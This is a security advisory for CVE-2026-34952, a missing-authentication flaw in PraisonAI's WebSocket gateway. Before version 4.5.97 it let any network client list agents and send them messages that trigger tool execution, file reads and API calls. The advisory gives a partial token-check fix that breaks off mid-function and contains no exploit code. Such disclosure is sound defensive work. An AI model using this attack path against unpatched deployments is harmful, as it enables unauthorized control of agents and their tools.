CVE-2026-34952
PraisonAI: Missing Authentication in WebSocket Gateway
PraisonAI is a multi-agent teams system. Prior to version 4.5.97, the PraisonAI Gateway server accepts WebSocket connections at /ws and serves agent topology at /info with no authentication. Any network client can connect, enumerate registered agents, and send arbitrary messages to agents and their tool sets. This issue has been patched in version 4.5.97.

PraisonAI Has Missing Authentication in WebSocket Gateway

The PraisonAI Gateway server accepts WebSocket connections at /ws and serves agent topology at /info with no authentication. Any network client can connect, enumerate registered agents, and send arbitrary messages to agents and their tool sets.

Impact
Any unauthenticated attacker with network access can connect to the WebSocket gateway, enumerate all registered agents via /info, and send arbitrary messages to agents including tool execution, file reads, and API calls. GatewayConfig has an auth_token field that is never enforced in the handler.
Suggested Fix
async def websocket_endpoint(websocket: WebSocket):
token = websocket.query_params.get("token") or \
websocket.headers.get("Authorization", "").removeprefix("Bearer ")
if self._config.auth_token and token != self._config.auth_token:
